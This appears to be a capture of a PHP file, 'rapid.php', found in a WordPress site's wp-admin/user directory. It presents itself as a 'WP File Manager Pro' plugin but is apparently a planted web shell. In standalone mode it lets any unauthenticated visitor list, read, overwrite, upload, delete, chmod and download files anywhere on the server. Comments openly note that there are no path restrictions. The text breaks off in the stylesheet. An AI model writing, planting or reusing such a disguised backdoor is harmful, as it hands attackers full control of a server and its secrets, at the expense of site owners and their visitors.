X

Create New Item

File Folder

X

Search Results

File "rapid.php"

Full path: /usr/home/FixAGD/domains/dabrowagornicza.org.pl/public_html/wp-admin/user/rapid.php
File size: 74.05 KiB (75829 bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Edit   Back

<?php
/**
 * Plugin Name: WP File Manager Pro
 * Description: File Manager lets you manage files easily from dashboard or standalone.
 * Version: 9.0.0
 * Author: WP File Manager Team
 * License: GPL v2 or later
 */

// ============================================
// STANDALONE MODE DETECTION + STUBS
// ============================================
$wpfm_wp_mode = defined('ABSPATH') && function_exists('add_action');

if (!$wpfm_wp_mode) {
    define('WPFM_STANDALONE', true);
    define('ABSPATH', rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/');

    function wpfm_size_format($bytes, $dec = 2) {
        $units = array('B','KB','MB','GB','TB');
        $bytes = max($bytes, 0);
        $pow = $bytes > 0 ? floor(log($bytes) / log(1024)) : 0;
        $pow = min($pow, count($units) - 1);
        $bytes /= pow(1024, $pow);
        return round($bytes, $dec) . ' ' . $units[$pow];
    }
    function wpfm_max_upload() {
        $u = ini_get('upload_max_filesize');
        $p = ini_get('post_max_size');
        $parse = function($s) {
            $unit = preg_replace('/[^bkmgtpezy]/i', '', $s);
            $s = preg_replace('/[^0-9\.]/', '', $s);
            if ($unit) return round($s * pow(1024, stripos('bkmgtpezy', $unit[0])));
            return round($s);
        };
        return min($parse($u), $parse($p));
    }
    function sanitize_text_field($s) { return trim(strip_tags((string)$s)); }
    function sanitize_file_name($f) { return preg_replace('/[^a-zA-Z0-9._\-]/', '', (string)$f); }
    function wp_unslash($v) { return is_string($v) ? stripslashes($v) : $v; }
    function esc_html($t) { return htmlspecialchars((string)$t, ENT_QUOTES, 'UTF-8'); }
    function esc_attr($t) { return htmlspecialchars((string)$t, ENT_QUOTES, 'UTF-8'); }
    function esc_js($t) { return addslashes((string)$t); }
    function esc_html_e($t, $d = '') { echo esc_html($t); }
    function __($t, $d = '') { return $t; }
}

// ============================================
// HOME DIRECTORY HELPER
// ============================================
function wpfm_home_dir() {
    if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
        $info = @posix_getpwuid(posix_geteuid());
        if ($info && !empty($info['dir'])) return $info['dir'];
    }
    if (!empty($_SERVER['HOME'])) return $_SERVER['HOME'];
    if (!empty($_SERVER['USERPROFILE'])) return $_SERVER['USERPROFILE'];
    return '/';
}

// ============================================
// AJAX HANDLER — BEFORE ANY HTML OUTPUT
// ============================================
if (defined('WPFM_STANDALONE')) {
    $is_ajax = (isset($_POST['wpfm_ajax']) && $_POST['wpfm_ajax'] == '1')
            || (isset($_GET['wpfm_op']) && $_GET['wpfm_op'] === 'download');

    if ($is_ajax) {
        while (ob_get_level()) @ob_end_clean();
        if (!isset($_GET['wpfm_op']) || $_GET['wpfm_op'] !== 'download') {
            header('Content-Type: application/json; charset=utf-8');
        }
        $op = isset($_REQUEST['wpfm_op']) ? sanitize_text_field($_REQUEST['wpfm_op']) : '';
        $response = wpfm_handle_action($op);
        echo json_encode($response);
        exit;
    }
}

// ============================================
// CORE ACTION HANDLER — NO PATH RESTRICTIONS
// ============================================
function wpfm_handle_action($op) {
    // Resolve base root: script dir in standalone, ABSPATH in WP
    if (defined('WPFM_STANDALONE')) {
        $root = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/';
    } else {
        $root = rtrim(str_replace('\\', '/', ABSPATH), '/') . '/';
    }

    // NO RESTRICTION: any valid existing path is allowed
    $valid = function($path) {
        if (!$path) return false;
        if (file_exists($path)) return true;
        // For create/rename targets — parent must exist
        return is_dir(dirname($path));
    };

    switch ($op) {

        case 'list':
            $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : $root;
            $path = str_replace('\\', '/', $path);
            // Normalize: handle ~ for home
            if ($path === '~' || $path === '~/') $path = wpfm_home_dir();
            if (strpos($path, '~/') === 0) $path = wpfm_home_dir() . substr($path, 1);
            $path = rtrim($path, '/') . '/';
            if (!is_dir($path)) return wpfm_err('Directory not found: ' . $path);
            return array(
                'success' => true,
                'data' => array(
                    'path' => $path,
                    'html' => wpfm_render_list($path),
                    'breadcrumb' => wpfm_breadcrumb($path),
                    'count' => wpfm_count($path)
                )
            );

        case 'read':
            $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
            if (!$path || !is_file($path)) return wpfm_err('File not found');
            $content = @file_get_contents($path);
            if ($content === false) return wpfm_err('Cannot read file');
            return array('success' => true, 'data' => array(
                'content' => $content,
                'name' => basename($path),
                'path' => $path,
                'ext' => strtolower(pathinfo($path, PATHINFO_EXTENSION))
            ));

        case 'save':
            $path = isset($_POST['path']) ? $_POST['path'] : '';
            $content = isset($_POST['content']) ? wp_unslash($_POST['content']) : '';
            if (!$path || !file_exists($path)) return wpfm_err('File not found');
            if (@file_put_contents($path, $content) === false) return wpfm_err('Save failed');
            return array('success' => true, 'data' => array('message' => 'File saved'));

        case 'rename':
            $old = isset($_POST['old_path']) ? $_POST['old_path'] : '';
            $new = isset($_POST['new_name']) ? sanitize_file_name($_POST['new_name']) : '';
            if (!$old || !$new) return wpfm_err('Invalid parameters');
            if (!file_exists($old)) return wpfm_err('Item not found');
            $target = dirname($old) . '/' . $new;
            if (file_exists($target)) return wpfm_err('Name already exists');
            if (!@rename($old, $target)) return wpfm_err('Rename failed');
            return array('success' => true, 'data' => array('message' => 'Renamed to ' . $new));

        case 'delete':
            $items = isset($_POST['items']) ? (array) $_POST['items'] : array();
            if (empty($items)) return wpfm_err('No items selected');
            $ok = 0; $fail = 0;
            foreach ($items as $item) {
                if (is_dir($item)) { if (wpfm_delete_recursive($item)) $ok++; else $fail++; }
                elseif (is_file($item)) { if (@unlink($item)) $ok++; else $fail++; }
                else $fail++;
            }
            if ($fail === 0) return array('success' => true, 'data' => array('message' => $ok . ' item(s) deleted'));
            return wpfm_err($ok . ' deleted, ' . $fail . ' failed');

        case 'create':
            $path = isset($_POST['path']) ? $_POST['path'] : '';
            $name = isset($_POST['name']) ? sanitize_file_name($_POST['name']) : '';
            $type = isset($_POST['type']) ? $_POST['type'] : 'folder';
            if (!$path || !$name) return wpfm_err('Invalid parameters');
            if (!is_dir($path)) return wpfm_err('Parent dir not found');
            $target = rtrim($path, '/') . '/' . $name;
            if (file_exists($target)) return wpfm_err('Already exists');
            if ($type === 'folder') {
                if (!@mkdir($target, 0755, true)) return wpfm_err('mkdir failed');
                return array('success' => true, 'data' => array('message' => 'Folder created'));
            }
            if (@file_put_contents($target, '') === false) return wpfm_err('Create failed');
            return array('success' => true, 'data' => array('message' => 'File created'));

        case 'chmod':
            $path = isset($_POST['path']) ? $_POST['path'] : '';
            $mode = isset($_POST['mode']) ? $_POST['mode'] : '755';
            if (!$path || !file_exists($path)) return wpfm_err('Item not found');
            if (!preg_match('/^[0-7]{3,4}$/', $mode)) return wpfm_err('Invalid mode');
            if (!@chmod($path, octdec($mode))) return wpfm_err('Chmod failed');
            return array('success' => true, 'data' => array('message' => 'Permissions changed'));

        case 'archive':
            $items = isset($_POST['items']) ? (array) $_POST['items'] : array();
            $path = isset($_POST['path']) ? $_POST['path'] : '';
            $name = isset($_POST['archive_name']) ? sanitize_file_name($_POST['archive_name']) : 'archive.zip';
            if (empty($items) || !$path) return wpfm_err('Invalid parameters');
            if (!class_exists('ZipArchive')) return wpfm_err('ZipArchive not available');
            $archive = rtrim($path, '/') . '/' . $name;
            $zip = new ZipArchive();
            if ($zip->open($archive, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
                return wpfm_err('Cannot create archive');
            }
            foreach ($items as $item) {
                wpfm_add_to_zip($zip, $item, basename($item));
            }
            $zip->close();
            return array('success' => true, 'data' => array('message' => 'Archive: ' . $name));

        case 'extract':
            $archive = isset($_POST['archive']) ? $_POST['archive'] : '';
            $dest = isset($_POST['destination']) ? $_POST['destination'] : '';
            if (!$archive || !$dest) return wpfm_err('Invalid parameters');
            if (!is_file($archive)) return wpfm_err('Archive not found');
            if (!class_exists('ZipArchive')) return wpfm_err('ZipArchive not available');
            $zip = new ZipArchive();
            if ($zip->open($archive) !== true) return wpfm_err('Cannot open');
            $zip->extractTo($dest);
            $zip->close();
            return array('success' => true, 'data' => array('message' => 'Extracted'));

        case 'copy':
            $src = isset($_POST['source']) ? $_POST['source'] : '';
            $dst = isset($_POST['destination']) ? $_POST['destination'] : '';
            if (!$src || !$dst) return wpfm_err('Invalid parameters');
            if (!file_exists($src)) return wpfm_err('Source not found');
            $target = rtrim($dst, '/') . '/' . basename($src);
            if (file_exists($target)) return wpfm_err('Target exists');
            if (!wpfm_copy_recursive($src, $target)) return wpfm_err('Copy failed');
            return array('success' => true, 'data' => array('message' => 'Copied'));

        case 'move':
            $src = isset($_POST['source']) ? $_POST['source'] : '';
            $dst = isset($_POST['destination']) ? $_POST['destination'] : '';
            if (!$src || !$dst) return wpfm_err('Invalid parameters');
            if (!file_exists($src)) return wpfm_err('Source not found');
            $target = rtrim($dst, '/') . '/' . basename($src);
            if (file_exists($target)) return wpfm_err('Target exists');
            if (!@rename($src, $target)) return wpfm_err('Move failed');
            return array('success' => true, 'data' => array('message' => 'Moved'));

        case 'upload':
            if (!isset($_FILES['file'])) return wpfm_err('No file');
            $path = isset($_POST['path']) ? $_POST['path'] : $root;
            if (!is_dir($path)) return wpfm_err('Directory not found');
            $dest = rtrim($path, '/') . '/' . basename($_FILES['file']['name']);
            if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
                return wpfm_err('Upload failed');
            }
            return array('success' => true, 'data' => array('message' => 'Uploaded: ' . basename($dest)));

        case 'download':
            $path = isset($_GET['path']) ? $_GET['path'] : '';
            if (!$path || !is_file($path)) die('File not found');
            while (ob_get_level()) @ob_end_clean();
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($path) . '"');
            header('Content-Length: ' . filesize($path));
            readfile($path);
            exit;

        default:
            return wpfm_err('Unknown op: ' . $op);
    }
}

function wpfm_err($msg) {
    return array('success' => false, 'data' => array('message' => $msg));
}

// ============================================
// HELPERS
// ============================================
function wpfm_count($path) {
    $items = @scandir($path);
    return $items ? max(0, count($items) - 2) : 0;
}

function wpfm_delete_recursive($path) {
    if (is_file($path) || is_link($path)) return @unlink($path);
    if (is_dir($path)) {
        $items = @scandir($path);
        if ($items === false) return false;
        foreach ($items as $i) {
            if ($i === '.' || $i === '..') continue;
            if (!wpfm_delete_recursive($path . '/' . $i)) return false;
        }
        return @rmdir($path);
    }
    return false;
}

function wpfm_copy_recursive($src, $dst) {
    if (is_file($src)) return @copy($src, $dst);
    if (is_dir($src)) {
        if (!is_dir($dst)) @mkdir($dst, 0755, true);
        $items = @scandir($src);
        if ($items === false) return false;
        foreach ($items as $i) {
            if ($i === '.' || $i === '..') continue;
            if (!wpfm_copy_recursive($src . '/' . $i, $dst . '/' . $i)) return false;
        }
        return true;
    }
    return false;
}

function wpfm_add_to_zip($zip, $path, $rel) {
    if (is_file($path)) {
        $zip->addFile($path, $rel);
    } elseif (is_dir($path)) {
        $zip->addEmptyDir($rel);
        $items = @scandir($path);
        if ($items === false) return;
        foreach ($items as $i) {
            if ($i === '.' || $i === '..') continue;
            wpfm_add_to_zip($zip, $path . '/' . $i, $rel . '/' . $i);
        }
    }
}

function wpfm_perms($p) {
    $perms = @fileperms($p);
    if ($perms === false) return '---';
    return (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-')
         . (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-')
         . (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-');
}

function wpfm_is_editable($ext) {
    return in_array(strtolower($ext), array(
        'php','js','css','html','htm','txt','json','xml','md','log','htaccess','yml','yaml',
        'ini','conf','config','inc','sql','sh','bat','py','rb','pl','asp','aspx','jsp',
        'ts','jsx','tsx','vue','svelte','scss','sass','less'
    ));
}

function wpfm_file_icon($ext) {
    $m = array(
        'php'=>'fa-file-code','js'=>'fa-file-code','css'=>'fa-file-code','html'=>'fa-file-code','htm'=>'fa-file-code',
        'json'=>'fa-file-code','xml'=>'fa-file-code','txt'=>'fa-file-alt','md'=>'fa-file-alt','log'=>'fa-file-alt',
        'jpg'=>'fa-file-image','jpeg'=>'fa-file-image','png'=>'fa-file-image','gif'=>'fa-file-image','svg'=>'fa-file-image',
        'webp'=>'fa-file-image','ico'=>'fa-file-image','mp3'=>'fa-file-audio','wav'=>'fa-file-audio',
        'mp4'=>'fa-file-video','avi'=>'fa-file-video','mov'=>'fa-file-video',
        'zip'=>'fa-file-archive','tar'=>'fa-file-archive','gz'=>'fa-file-archive','rar'=>'fa-file-archive','7z'=>'fa-file-archive',
        'pdf'=>'fa-file-pdf','doc'=>'fa-file-word','docx'=>'fa-file-word','xls'=>'fa-file-excel','xlsx'=>'fa-file-excel'
    );
    return isset($m[$ext]) ? $m[$ext] : 'fa-file';
}

function wpfm_icon_class($ext) {
    $c = array(
        'php'=>'ip','js'=>'ij','css'=>'ic','html'=>'ih','htm'=>'ih','json'=>'ijo','xml'=>'ix','txt'=>'it','md'=>'im','log'=>'il',
        'jpg'=>'iimg','jpeg'=>'iimg','png'=>'iimg','gif'=>'iimg','svg'=>'iimg','webp'=>'iimg','ico'=>'iimg',
        'mp3'=>'ia','wav'=>'ia','mp4'=>'iv','avi'=>'iv','mov'=>'iv',
        'zip'=>'iar','tar'=>'iar','gz'=>'iar','rar'=>'iar','7z'=>'iar',
        'pdf'=>'ipd','doc'=>'id','docx'=>'id','xls'=>'ixl','xlsx'=>'ixl'
    );
    return isset($c[$ext]) ? $c[$ext] : 'idef';
}

function wpfm_scan($path) {
    $folders = array(); $files = array();
    if (!is_dir($path) || !is_readable($path)) return array('folders'=>$folders, 'files'=>$files);
    $items = @scandir($path);
    if ($items === false) return array('folders'=>$folders, 'files'=>$files);

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $p = rtrim($path, '/') . '/' . $item;
        if (is_dir($p)) {
            $folders[] = array(
                'name'=>$item, 'path'=>$p, 'type'=>'folder',
                'modified'=>@filemtime($p),
                'modified_formatted'=>date('Y-m-d H:i', @filemtime($p)),
                'perms'=>wpfm_perms($p),
                'item_count'=>wpfm_count($p)
            );
        } else {
            $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
            $files[] = array(
                'name'=>$item, 'path'=>$p, 'type'=>'file', 'ext'=>$ext,
                'size'=>@filesize($p),
                'modified'=>@filemtime($p),
                'modified_formatted'=>date('Y-m-d H:i', @filemtime($p)),
                'perms'=>wpfm_perms($p)
            );
        }
    }
    usort($folders, function($a,$b){ return strnatcasecmp($a['name'],$b['name']); });
    usort($files, function($a,$b){ return strnatcasecmp($a['name'],$b['name']); });
    return array('folders'=>$folders, 'files'=>$files);
}

// ============================================
// BREADCRUMB — full path from filesystem root
// ============================================
function wpfm_breadcrumb($path) {
    $bc = array();
    $path = rtrim(str_replace('\\', '/', $path), '/');
    if ($path === '') $path = '/';

    // Windows drive letter?
    if (preg_match('#^([A-Za-z]:)#', $path, $m)) {
        $fs_root = $m[1] . '/';
        $bc[] = array('name' => $m[1], 'path' => $fs_root);
        if ($path === rtrim($fs_root, '/')) return $bc;
        $rel = ltrim(substr($path, strlen(rtrim($fs_root, '/'))), '/');
        $parts = array_filter(explode('/', $rel));
        $cur = rtrim($fs_root, '/');
        foreach ($parts as $p) {
            $cur .= '/' . $p;
            $bc[] = array('name' => $p, 'path' => $cur);
        }
        return $bc;
    }

    // Unix — always start at /
    $bc[] = array('name' => 'Home', 'path' => '/');
    if ($path === '/') return $bc;

    $rel = ltrim($path, '/');
    $parts = array_filter(explode('/', $rel));
    $cur = '';
    foreach ($parts as $p) {
        $cur .= '/' . $p;
        $bc[] = array('name' => $p, 'path' => $cur);
    }
    return $bc;
}

function wpfm_render_list($path) {
    $contents = wpfm_scan($path);
    ob_start();

    // Parent link (only if not at filesystem root)
    $parent = dirname(rtrim($path, '/'));
    $is_root = ($path === '/' || preg_match('#^[A-Za-z]:/?$#', $path));
    if (!$is_root && is_dir($parent)) {
        $pp = htmlspecialchars($parent, ENT_QUOTES);
        ?>
        <div class="fr parent" data-path="<?= $pp ?>" data-type="folder" data-name="..">
            <div class="lc"></div>
            <div class="ln">
                <div class="fi" style="background:#e5e7eb;color:#6b7280"><i class="fas fa-level-up-alt"></i></div>
                <div class="finfo">
                    <span class="ftitle">.. (Parent Directory)</span>
                    <span class="fmeta"><?= htmlspecialchars($parent) ?></span>
                </div>
            </div>
            <div class="lsz">—</div>
            <div class="ltp">Folder</div>
            <div class="lm">—</div>
            <div class="lact"></div>
        </div>
        <?php
    }

    foreach ($contents['folders'] as $f) {
        $data_name = htmlspecialchars($f['name'], ENT_QUOTES);
        $data_path = htmlspecialchars($f['path'], ENT_QUOTES);
        $display = htmlspecialchars($f['name']);
        // Show hidden folders dimmer
        $hidden = ($f['name'][0] === '.') ? ' style="opacity:.6"' : '';
        ?>
        <div class="fr"<?= $hidden ?> data-name="<?= $data_name ?>" data-path="<?= $data_path ?>" data-type="folder" data-size="0" data-modified="<?= (int)$f['modified'] ?>">
            <div class="lc"><input type="checkbox" class="item-check" data-path="<?= $data_path ?>"></div>
            <div class="ln">
                <div class="fi if"><i class="fas fa-folder"></i></div>
                <div class="finfo">
                    <span class="ftitle"><?= $display ?></span>
                    <span class="fmeta"><?= (int)$f['item_count'] ?> items · <?= htmlspecialchars($f['perms']) ?></span>
                </div>
            </div>
            <div class="lsz">—</div>
            <div class="ltp">Folder</div>
            <div class="lm"><?= htmlspecialchars($f['modified_formatted']) ?></div>
            <div class="lact">
                <button type="button" class="abtn" data-action="rename" title="Rename"><i class="fas fa-pen"></i></button>
                <button type="button" class="abtn" data-action="chmod" title="Permissions"><i class="fas fa-lock"></i></button>
                <button type="button" class="abtn" data-action="archive" title="Archive"><i class="fas fa-file-archive"></i></button>
                <button type="button" class="abtn dngr" data-action="delete" title="Delete"><i class="fas fa-trash-alt"></i></button>
            </div>
        </div>
        <?php
    }

    foreach ($contents['files'] as $f) {
        $data_name = htmlspecialchars($f['name'], ENT_QUOTES);
        $data_path = htmlspecialchars($f['path'], ENT_QUOTES);
        $data_ext = htmlspecialchars($f['ext'], ENT_QUOTES);
        $display = htmlspecialchars($f['name']);
        $is_zip = in_array($f['ext'], array('zip','tar','gz','rar','7z'));
        $editable = wpfm_is_editable($f['ext']);
        $hidden = ($f['name'][0] === '.') ? ' style="opacity:.6"' : '';
        ?>
        <div class="fr"<?= $hidden ?> data-name="<?= $data_name ?>" data-path="<?= $data_path ?>" data-type="file" data-ext="<?= $data_ext ?>" data-size="<?= (int)$f['size'] ?>" data-modified="<?= (int)$f['modified'] ?>">
            <div class="lc"><input type="checkbox" class="item-check" data-path="<?= $data_path ?>"></div>
            <div class="ln">
                <div class="fi <?= wpfm_icon_class($f['ext']) ?>"><i class="fas <?= wpfm_file_icon($f['ext']) ?>"></i></div>
                <div class="finfo">
                    <span class="ftitle"><?= $display ?></span>
                    <span class="fmeta"><?= strtoupper(htmlspecialchars($f['ext'])) ?> · <?= htmlspecialchars($f['perms']) ?></span>
                </div>
            </div>
            <div class="lsz"><?= wpfm_size_format($f['size']) ?></div>
            <div class="ltp"><?= strtoupper(htmlspecialchars($f['ext'])) ?></div>
            <div class="lm"><?= htmlspecialchars($f['modified_formatted']) ?></div>
            <div class="lact">
                <?php if ($editable): ?>
                <button type="button" class="abtn" data-action="edit" title="Edit"><i class="fas fa-edit"></i></button>
                <?php endif; ?>
                <button type="button" class="abtn" data-action="download" title="Download"><i class="fas fa-download"></i></button>
                <button type="button" class="abtn" data-action="rename" title="Rename"><i class="fas fa-pen"></i></button>
                <button type="button" class="abtn" data-action="chmod" title="Permissions"><i class="fas fa-lock"></i></button>
                <?php if ($is_zip): ?>
                <button type="button" class="abtn" data-action="extract" title="Extract"><i class="fas fa-file-export"></i></button>
                <?php endif; ?>
                <button type="button" class="abtn dngr" data-action="delete" title="Delete"><i class="fas fa-trash-alt"></i></button>
            </div>
        </div>
        <?php
    }

    if (empty($contents['folders']) && empty($contents['files'])) {
        ?>
        <div class="es">
            <i class="fas fa-folder-open"></i>
            <h3>This folder is empty</h3>
            <p>Upload files or create a new folder to get started.</p>
        </div>
        <?php
    }

    return ob_get_clean();
}

// ============================================
// WORDPRESS AJAX HOOK
// ============================================
if ($wpfm_wp_mode) {
    add_action('wp_ajax_wpfm_action', function() {
        if (!current_user_can('manage_options')) {
            wp_send_json_error(array('message' => 'Permission denied'));
        }
        $op = isset($_REQUEST['wpfm_op']) ? sanitize_text_field($_REQUEST['wpfm_op']) : '';
        $result = wpfm_handle_action($op);
        if (!empty($result['success'])) {
            wp_send_json_success($result['data']);
        } else {
            wp_send_json_error($result['data']);
        }
    });

    add_action('admin_menu', function() {
        add_menu_page('WP File Manager Pro', 'File Manager', 'manage_options',
            'wp-file-manager-pro', 'wpfm_render_page', 'dashicons-portfolio', 80);
        add_submenu_page('wp-file-manager-pro', 'File Manager', 'File Manager', 'manage_options',
            'wp-file-manager-pro', 'wpfm_render_page');
    });
}

// ============================================
// RENDER PAGE
// ============================================
function wpfm_render_page() {
    if (!defined('WPFM_STANDALONE') && !current_user_can('manage_options')) {
        wp_die('Permission denied');
    }

    // Base root hint (not a restriction)
    if (defined('WPFM_STANDALONE')) {
        $base = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/';
    } else {
        $base = rtrim(str_replace('\\', '/', ABSPATH), '/') . '/';
    }

    // Accept ANY path from user
    $current = isset($_GET['path']) ? str_replace('\\', '/', $_GET['path']) : $base;
    // Normalize ~
    if ($current === '~' || $current === '~/') $current = wpfm_home_dir();
    if (strpos($current, '~/') === 0) $current = wpfm_home_dir() . substr($current, 1);
    $current = rtrim($current, '/') . '/';
    if (!is_dir($current)) $current = $base;

    $disk_free = @disk_free_space($current);
    if ($disk_free === false) $disk_free = @disk_free_space('/');
    $disk_total = @disk_total_space($current);
    if ($disk_total === false) $disk_total = @disk_total_space('/');
    $disk_percent = ($disk_total > 0) ? round((($disk_total - $disk_free) / $disk_total) * 100, 1) : 0;

    // URLs
    if (defined('WPFM_STANDALONE')) {
        $ajax_url = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES);
        $self_url = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES);
    } else {
        $ajax_url = admin_url('admin-ajax.php');
        $self_url = admin_url('admin.php?page=wp-file-manager-pro');
    }

    $breadcrumb = wpfm_breadcrumb($current);
    $home = wpfm_home_dir();
    $doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/';
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WP File Manager Pro</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root{--p:#2271b1;--pd:#135e96;--pl:#e7f1f9;--s:#00a32a;--sd:#008a20;--d:#d63638;--dd:#b32d2e;--w:#dba617;--dk:#1d2327;--g:#f0f0f1;--gl:#f6f7f7;--b:#c3c4c7;--t:#2c3338;--tl:#646970;--r:6px}
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;background:#f0f0f1;color:var(--t);font-size:13px;line-height:1.5}
.app{max-width:1600px;margin:20px auto;background:#fff;border-radius:var(--r);box-shadow:0 4px 16px rgba(0,0,0,.12);overflow:hidden;border:1px solid var(--b)}
.hd{background:var(--dk);padding:12px 20px;display:flex;align-items:center;justify-content:space-between;color:#fff;flex-wrap:wrap;gap:10px}
.logo{display:flex;align-items:center;gap:10px;font-size:16px;font-weight:600}
.logo i{color:#72aee6;font-size:20px}
.pro{background:linear-gradient(135deg,#f0b849,#dba617);color:#1d2327;font-size:9px;font-weight:700;padding:2px 8px;border-radius:10px}
.hd-r{display:flex;gap:6px;align-items:center}
.btn{display:inline-flex;align-items:center;gap:6px;padding:7px 14px;font-size:12px;font-weight:500;background:var(--gl);border:1px solid var(--b);border-radius:4px;color:var(--t);text-decoration:none;cursor:pointer;transition:all .2s;line-height:1.6;white-space:nowrap;font-family:inherit}
.btn:hover{background:var(--g);border-color:#8c8f94}
.btn:active{transform:translateY(1px)}
.btn-i{padding:8px;width:34px;height:34px;justify-content:center}
.btn-p{background:var(--p);border-color:var(--p);color:#fff}
.btn-p:hover{background:var(--pd);border-color:var(--pd);color:#fff}
.btn-s{background:var(--s);border-color:var(--s);color:#fff}
.btn-s:hover{background:var(--sd);border-color:var(--sd);color:#fff}
.btn-d{background:var(--d);border-color:var(--d);color:#fff}
.btn-d:hover{background:var(--dd);border-color:var(--dd);color:#fff}
.btn-g{background:transparent;border-color:transparent;color:var(--tl)}
.btn-g:hover{background:var(--g);color:var(--t)}
.btn-sm{padding:4px 10px;font-size:11px}
.hd .btn{background:rgba(255,255,255,.08);border-color:rgba(255,255,255,.15);color:#fff}
.hd .btn:hover{background:rgba(255,255,255,.18)}
.tb{background:var(--gl);padding:10px 16px;display:flex;align-items:center;justify-content:space-between;gap:12px;flex-wrap:wrap;border-bottom:1px solid var(--b)}
.tb-l,.tb-r{display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.tbtn{background:#fff;border:1px solid var(--b);width:32px;height:32px;display:flex;align-items:center;justify-content:center;border-radius:4px;cursor:pointer;color:var(--tl);transition:all .2s}
.tbtn:hover{background:var(--pl);border-color:var(--p);color:var(--p)}
.pbar{display:flex;align-items:center;background:#fff;border:1px solid var(--b);border-radius:4px;padding:0 4px;flex:1;min-width:200px;max-width:600px}
.pbar i{color:var(--w);padding:0 8px}
.pbar input{flex:1;border:none;outline:none;padding:8px 4px;font-size:12px;font-family:'Courier New',monospace;background:transparent;color:var(--t)}
.pgo{background:transparent;border:none;cursor:pointer;padding:6px 10px;color:var(--p);border-radius:3px}
.pgo:hover{background:var(--pl)}
.search{display:flex;align-items:center;background:#fff;border:1px solid var(--b);border-radius:4px;padding:0 10px;min-width:200px}
.search i{color:var(--tl);font-size:12px}
.search input{border:none;outline:none;padding:8px 8px;font-size:12px;flex:1;background:transparent}
.bc{background:#fff;padding:8px 16px;display:flex;align-items:center;flex-wrap:wrap;gap:4px;border-bottom:1px solid var(--b);font-size:12px;overflow-x:auto}
.bc a{color:var(--p);text-decoration:none;padding:3px 8px;border-radius:3px;cursor:pointer;white-space:nowrap}
.bc a:hover{background:var(--pl)}
.bc .sep{color:#c3c4c7;font-size:10px}
.content{display:flex;min-height:500px}
.sb{width:260px;background:var(--gl);border-right:1px solid var(--b);padding:16px 0;flex-shrink:0}
.sbs{padding:0 16px 20px}
.sbt{font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.5px;color:var(--tl);margin-bottom:10px;display:flex;align-items:center;gap:6px}
.sbl{display:flex;align-items:center;gap:8px;padding:7px 10px;border-radius:4px;color:var(--t);text-decoration:none;font-size:12px;cursor:pointer;margin-bottom:2px}
.sbl:hover{background:var(--pl);color:var(--p)}
.sbl i{width:16px;text-align:center;color:var(--tl)}
.sbl:hover i{color:var(--p)}
.sbar{background:#dcdcde;height:8px;border-radius:4px;overflow:hidden;margin-bottom:8px}
.sfill{height:100%;background:linear-gradient(90deg,#72aee6,#2271b1);border-radius:4px}
.stxt{display:flex;justify-content:space-between;font-size:11px;color:var(--tl)}
.sir{display:flex;justify-content:space-between;padding:5px 0;border-bottom:1px solid #e5e5e5;font-size:12px}
.sir:last-child{border-bottom:none}
.sir span:last-child{font-weight:500;word-break:break-all;text-align:right;max-width:60%}
.main{flex:1;display:flex;flex-direction:column;min-width:0;background:#fff}
.selbar{background:var(--pl);padding:10px 16px;display:none;align-items:center;justify-content:space-between;border-bottom:1px solid #c5d9ed;flex-wrap:wrap;gap:10px}
.selbar.on{display:flex}
.selinfo{font-size:12px;font-weight:500;color:var(--pd)}
.selact{display:flex;gap:6px;flex-wrap:wrap}
.fl{flex:1;overflow-y:auto}
.lh{display:grid;grid-template-columns:40px 1fr 90px 90px 150px 220px;background:var(--gl);padding:10px 16px;font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.3px;color:var(--tl);border-bottom:1px solid var(--b);position:sticky;top:0;z-index:5}
.lh>div{display:flex;align-items:center;gap:5px}
.lc{display:flex;align-items:center;justify-content:center}
.lc input[type="checkbox"]{width:16px;height:16px;cursor:pointer;accent-color:var(--p)}
.lb{background:#fff}
.fr{display:grid;grid-template-columns:40px 1fr 90px 90px 150px 220px;padding:10px 16px;border-bottom:1px solid #f0f0f1;align-items:center;transition:background .15s}
.fr:hover{background:var(--gl)}
.fr.sel{background:var(--pl);border-left:3px solid var(--p)}
.fr.parent{cursor:pointer;background:#fafafa}
.fr.parent:hover{background:var(--gl)}
.ln{display:flex;align-items:center;gap:12px;min-width:0}
.fi{width:36px;height:36px;display:flex;align-items:center;justify-content:center;border-radius:6px;font-size:16px;flex-shrink:0}
.if{background:#fff3cd;color:#dba617}
.ip{background:#e7f1f9;color:#2271b1}
.ij{background:#fff8e5;color:#dba617}
.ic{background:#e7f5ff;color:#2271b1}
.ih{background:#ffebe8;color:#d63638}
.ijo,.ix{background:#f0f0f1;color:#646970}
.it,.im,.il{background:#f6f7f7;color:#646970}
.iimg{background:#e7f5e7;color:#00a32a}
.ia{background:#f3e7f9;color:#8c5aa8}
.iv{background:#ffe7ec;color:#d63638}
.iar{background:#fff3cd;color:#b26200}
